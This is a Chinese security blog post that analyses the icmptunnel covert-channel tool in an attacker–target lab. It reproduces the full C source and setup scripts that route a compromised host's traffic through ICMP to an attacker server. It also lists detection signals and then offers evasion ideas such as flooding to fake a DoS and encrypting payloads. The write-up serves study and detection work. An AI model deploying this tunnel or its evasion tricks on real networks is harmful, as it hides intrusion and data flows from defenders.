目录
前言
本文研究ICMP隧道的一个工具,DhavalKapil师傅的icmptunnel
github:https://github.com/DhavalKapil/icmptunnel
一、概述
1、简介
最后更新于2017年,用C语言编写,创建虚拟网卡通过ICMP协议传输IP流量
条件:
- 目标机(客户端)需要root权限
- 目标机(客户端)可以ping攻击机(服务端)
- 只能在linux环境下使用
2、原理
ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道
流量发送方式:
- 目标机(客户端)将IP流量封装在ICMP的echo包里发送给攻击者(服务端)
- 攻击者(服务端)将IP流量封装在ICMP的reply包里发送给目标机(客户端)
- 这两种ICMP数据包参见RFC792
架构:
3、使用
两端都要编译:
make
攻击机(服务端)建立虚拟网卡并分配IP
[sudo] ./icmptunnel -s 10.0.1.1
目标机(客户端)修改client.sh并启动隧道
[sudo] ./icmptunnel -c <server>
二、实践
1、测试场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
目标机可以ping通攻击机
2、建立隧道
(1)编译
make编译
make
目标机
攻击机
(2)服务端监听
先查看route
route -n
建立隧道
./icmptunnel -s 10.0.1.1
此时再次查看路由
多了个tun0的虚拟网卡
(3)客户端启动
查看路由
修改client.sh
建立连接
./icmptunnel -c 192.168.10.128
此时再次查看路由
可以看到也是多了个tun0,连接建立成功
(4)ssh
然后就可以ssh连接了
3、抓包看看
虚拟网卡tun0
网卡eth0
可以看到所有TCP流量都被装进了ICMP流量中
三、探索
1、源码与分析
(1)icmp.c
/**
* icmp.c 搞定ICMP的packet
*/
#include "icmp.h"
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/**
* Function to calculate checksum
*/
uint16_t in_cksum(uint16_t *addr, int len);
/**
* Function to fill up common headers for IP and ICMP
*/
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp);
/**
* Function to set packet type as ECHO
*/
void set_echo_type(struct icmp_packet *packet)
{
packet->type = ICMP_ECHO;
}
/**
* Function to set packet type as REPLY
*/
void set_reply_type(struct icmp_packet *packet)
{
packet->type = ICMP_ECHOREPLY;
}
/**
* Function to open a socket for icmp
*/
// 初始化一个socket,事实上大多数隧道还是用了socket
int open_icmp_socket()
{
int sock_fd, on = 1;
sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sock_fd == -1) {
perror("Unable to open ICMP socket\n");
exit(EXIT_FAILURE);
}
// Providing IP Headers
if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) {
perror("Unable to set IP_HDRINCL socket option\n");
exit(EXIT_FAILURE);
}
return sock_fd;
}
/**
* Function to bind the socket to INADDR_ANY
*/
// 绑定所有网卡,动静有点大的
void bind_icmp_socket(int sock_fd)
{
struct sockaddr_in servaddr;
// Initializing servaddr to bind to all interfaces
memset(&servaddr, 0, sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
// binding the socket
if (bind(sock_fd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)) == -1) {
perror("Unable to bind\n");
exit(EXIT_FAILURE);
}
}
/**
* Function to send ICMP Packet
*/
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
// Source and destination IPs
struct in_addr src_addr;
struct in_addr dest_addr;
struct iphdr *ip;
struct icmphdr *icmp;
char *icmp_payload;
int packet_size;
char *packet;
struct sockaddr_in servaddr;
// IP的进制转换
inet_pton(AF_INET, packet_details->src_addr, &src_addr);
inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);
packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + packet_details->payload_size;
packet = calloc(packet_size, sizeof(uint8_t));
if (packet == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(EXIT_FAILURE);
}
// Initializing header and payload pointers
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
prepare_headers(ip, icmp);
ip->tot_len = htons(packet_size);
ip->saddr = src_addr.s_addr;
ip->daddr = dest_addr.s_addr;
memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);
icmp->type = packet_details->type;
icmp->checksum = 0;
icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);
memset(&servaddr, 0, sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = dest_addr.s_addr;
// Sending the packet
sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));
free(packet);
}
/**
* Function to receive an ICMP packet
*/
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
struct sockaddr_in src_addr;
//struct sockaddr_in dest_addr;
struct iphdr *ip;
struct icmphdr *icmp;
char *icmp_payload;
int packet_size;
char *packet;
socklen_t src_addr_size;
int enc_MTU; //encapsulated MTU
enc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);
packet = calloc(enc_MTU, sizeof(uint8_t));
if (packet == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(-1);
}
src_addr_size = sizeof(struct sockaddr_in);
// Receiving packet
packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
// Filling up packet_details
inet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN);
inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN);
packet_details->type = icmp->type;
packet_details->payload_size = packet_size - sizeof(struct iphdr) - sizeof(struct icmphdr);
packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t));
if (packet_details->payload == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(-1);
}
memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);
free(packet);
}
/**
* Function to close the icmp socket
*/
void close_icmp_socket(int sock_fd)
{
close(sock_fd);
}
/**
* Function to calculate checksum
*/
uint16_t in_cksum(uint16_t *addr, int len)
{
int nleft = len;
uint32_t sum = 0;
uint16_t *w = addr;
uint16_t answer = 0;
// Adding 16 bits sequentially in sum
while (nleft > 1) {
sum += *w;
nleft -= 2;
w++;
}
// If an odd byte is left
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
/**
* Function to fill up common headers for IP and ICMP
*/
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)
{
ip->version = 4;
ip->ihl = 5; //首部长度
ip->tos = 0; //4bit优先度,ICMP设为0
ip->id = rand();
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
icmp->code = 0; // 0是echo
icmp->un.echo.sequence = rand();
icmp->un.echo.id = rand();
icmp->checksum = 0;
}
(2)test_client.c
// 测试客户端发送
#include "icmp.h"
#include <string.h>
int main()
{
struct icmp_packet packet;
char *src_ip;
char *dest_ip;
int sock_fd;
src_ip = "127.0.0.2";
dest_ip = "127.0.0.1";
strncpy(packet.src_addr, src_ip, strlen(src_ip) + 1);
strncpy(packet.dest_addr, dest_ip, strlen(dest_ip) + 1);
set_reply_type(&packet);
packet.payload = "ZZZZZZ"; // 测试的内容,可以改为更具迷惑性的
packet.payload_size = strlen(packet.payload);
sock_fd = open_icmp_socket();
send_icmp_packet(sock_fd, &packet);
close_icmp_socket(sock_fd);
}
(3)test_server.c
// 测试服务端的接收
#include "icmp.h"
#include <stdio.h>
#include <string.h>
int main()
{
struct icmp_packet packet;
int sock_fd;
sock_fd = open_icmp_socket();
bind_icmp_socket(sock_fd);
printf("server initialized\n");
while(1)
{
receive_icmp_packet(sock_fd, &packet);
printf("%s\n", packet.src_addr);
printf("%s\n", packet.dest_addr);
printf("%d\n", packet.type);
printf("%s\n", packet.payload);
}
close_icmp_socket(sock_fd);
}
(4)tunnel.c
/**
* tunnel.c 通过虚拟网卡建立tunnel,并通过socket读写
*/
#include "icmp.h"
#include "tunnel.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <netdb.h>
#include <pwd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <unistd.h>
#define DEFAULT_ROUTE "0.0.0.0"
/**
* Function to allocate a tunnel
*/
int tun_alloc(char *dev, int flags)
{
struct ifreq ifr;
int tun_fd, err;
char *clonedev = "/dev/net/tun"; //虚拟网卡
printf("[DEBUG] Allocating tunnel\n");
tun_fd = open(clonedev, O_RDWR);
if(tun_fd == -1) {
perror("Unable to open clone device\n");
exit(EXIT_FAILURE);
}
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = flags;
if (*dev) {
strncpy(ifr.ifr_name, dev, IFNAMSIZ);
}
if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0) {
close(tun_fd);
fprintf(stderr, "Error returned by ioctl(): %s\n", strerror(err));
perror("Error in tun_alloc()\n");
exit(EXIT_FAILURE);
}
printf("[DEBUG] Allocatating tunnel2");
printf("[DEBUG] Created tunnel %s\n", dev);
return tun_fd;
}
/**
* Function to read from a tunnel
*/
int tun_read(int tun_fd, char *buffer, int length)
{
int bytes_read;
printf("[DEBUG] Reading from tunnel\n");
bytes_read = read(tun_fd, buffer, length);
if (bytes_read == -1) {
perror("Unable to read from tunnel\n");
exit(EXIT_FAILURE);
}
else {
return bytes_read;
}
}
/**
* Function to write to a tunnel
*/
int tun_write(int tun_fd, char *buffer, int length)
{
int bytes_written;
printf("[DEBUG] Writing to tunnel\n");
bytes_written = write(tun_fd, buffer, length);
if (bytes_written == -1) {
perror("Unable to write to tunnel\n");
exit(EXIT_FAILURE);
}
else {
return bytes_written;
}
}
/**
* Function to configure the network
*/
void configure_network(int server) //server是个flag,1是server,0是client
{
int pid, status;
char path[100];
char *const args[] = {path, NULL};
if (server) {
if (sizeof(SERVER_SCRIPT) > sizeof(path)){
perror("Server script path is too long\n");
exit(EXIT_FAILURE);
}
strncpy(path, SERVER_SCRIPT, strlen(SERVER_SCRIPT) + 1);
}
else {
if (sizeof(CLIENT_SCRIPT) > sizeof(path)){
perror("Client script path is too long\n");
exit(EXIT_FAILURE);
}
strncpy(path, CLIENT_SCRIPT, strlen(CLIENT_SCRIPT) + 1);
}
pid = fork();
if (pid == -1) {
perror("Unable to fork\n");
exit(EXIT_FAILURE);
}
if (pid==0) {
// Child process, run the script
exit(execv(path, args));
}
else {
// Parent process
waitpid(pid, &status, 0);
if (WEXITSTATUS(status) == 0) {
// Script executed correctly
printf("[DEBUG] Script ran successfully\n");
}
else {
// Some error
printf("[DEBUG] Error in running script\n");
}
}
}
/**
* Function to run the tunnel
*/
void run_tunnel(char *dest, int server)
{
struct icmp_packet packet;
int tun_fd, sock_fd;
fd_set fs;
tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI); //创建一个点对点设备,不包含包信息,默认的每个数据包当传到用户空间时,都将包含一个附加的包头来保存包信息
printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server);
printf("[DEBUG] Opening ICMP socket\n");
sock_fd = open_icmp_socket();
if (server) {
printf("[DEBUG] Binding ICMP socket\n");
bind_icmp_socket(sock_fd);
}
configure_network(server);
// 异步网络通信
while (1) {
FD_ZERO(&fs);
FD_SET(tun_fd, &fs);
FD_SET(sock_fd, &fs);
select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(tun_fd, &fs)) {
printf("[DEBUG] Data needs to be readed from tun device\n");
// Reading data from tun device and sending ICMP packet
printf("[DEBUG] Preparing ICMP packet to be sent\n");
// Preparing ICMP packet to be sent
memset(&packet, 0, sizeof(struct icmp_packet));
printf("[DEBUG] Destination address: %s\n", dest);
if (sizeof(DEFAULT_ROUTE) > sizeof(packet.src_addr)){
perror("Lack of space: size of DEFAULT_ROUTE > size of src_addr\n");
close(tun_fd);
close(sock_fd);
exit(EXIT_FAILURE);
}
strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);
if ((strlen(dest) + 1) > sizeof(packet.dest_addr)){
perror("Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\n");
close(sock_fd);
exit(EXIT_FAILURE);
}
strncpy(packet.dest_addr, dest, strlen(dest) + 1);
if(server) {
set_reply_type(&packet);
}
else {
set_echo_type(&packet);
}
packet.payload = calloc(MTU, sizeof(uint8_t));
if (packet.payload == NULL){
perror("No memory available\n");
exit(EXIT_FAILURE);
}
packet.payload_size = tun_read(tun_fd, packet.payload, MTU);
if(packet.payload_size == -1) {
perror("Error while reading from tun device\n");
exit(EXIT_FAILURE);
}
printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload);
// Sending ICMP packet
send_icmp_packet(sock_fd, &packet);
free(packet.payload);
}
if (FD_ISSET(sock_fd, &fs)) {
printf("[DEBUG] Received ICMP packet\n");
// Reading data from remote socket and sending to tun device
// Getting ICMP packet
memset(&packet, 0, sizeof(struct icmp_packet));
receive_icmp_packet(sock_fd, &packet);
printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload);
// Writing out to tun device
tun_write(tun_fd, packet.payload, packet.payload_size);
printf("[DEBUG] Src address being copied: %s\n", packet.src_addr);
strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);
free(packet.payload);
}
}
}
(5)icmptunnel.c
/**
* icmp_tunnel.c
*/
#include "tunnel.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#define ARG_SERVER_MODE "-s"
#define ARG_CLIENT_MODE "-c"
void usage()
{
printf("Wrong argument\n");
fprintf(stdout, "usage: icmptunnel [-s serverip] | [-c clientip]\n");
}
int main(int argc, char *argv[])
{
char ip_addr[100] = {0,};
if ((argc < 3) || ((strlen(argv[2]) + 1) > sizeof(ip_addr))) {
usage();
exit(EXIT_FAILURE);
}
memcpy(ip_addr, argv[2], strlen(argv[2]) + 1);
if (strncmp(argv[1], ARG_SERVER_MODE, strlen(argv[1])) == 0) {
run_tunnel(ip_addr, 1);
}
else if (strncmp(argv[1], ARG_CLIENT_MODE, strlen(argv[1])) == 0) {
run_tunnel(ip_addr, 0);
}
else {
usage();
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
(6)client.sh
设置虚拟网卡,添加路由
#!/bin/sh
# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.2 netmask 255.255.255.0
# Modifying IP routing tables
route del default
# 'server' is the IP address of the proxy server
# 'gateway' and 'interface' can be obtained by usint the command: 'route -n'
route add -host <server> gw <gateway> dev <interface>
route add default gw 10.0.1.1 tun0
(7)server.sh
设置虚拟网卡,关掉内核的ping
#!/bin/sh
# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.1 netmask 255.255.255.0
# Preventing the kernel to reply to any ICMP pings
echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
# Enabling IP forwarding
echo 1 | dd of=/proc/sys/net/ipv4/ip_forward
# Adding an iptables rule to masquerade for 10.0.0.0/8
iptables -t nat -A POSTROUTING -s 10.0.0.0/8 -j MASQUERADE
2、检测与绕过
(1)检测虚拟网卡
无端多了个虚拟网卡,多半是有问题的
这个检测方式是本工具无法回避的
(2)检测ping是否被禁
即/proc/sys/net/ipv4/icmp_echo_ignore_all
是否为1
本工具如果将目标机视为客户端,则无此问题
(3)异常ICMP数据包数量
如图是ssh连接时,1s内发了20个包左右,还都是指定的IP地址
似乎也是个无法回避的问题
或许可以反其道而行之,即同时用大量ICMP包和别的包淹没目标机,造成DoS攻击的假象,鱼目混珠,混淆视听,视情况而定
(4)异常ICMP包长度
不过这个可以设置限定长度64,切片再拼装
(5)payload内容
比如下面这个是ssh连接
内容明显古怪
正常ping命令:
windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567
这里混淆加密,会不会好点
结语
改进考虑:
- 长度和数量改为类似ping命令
- 内容混淆加密
- 考虑跨平台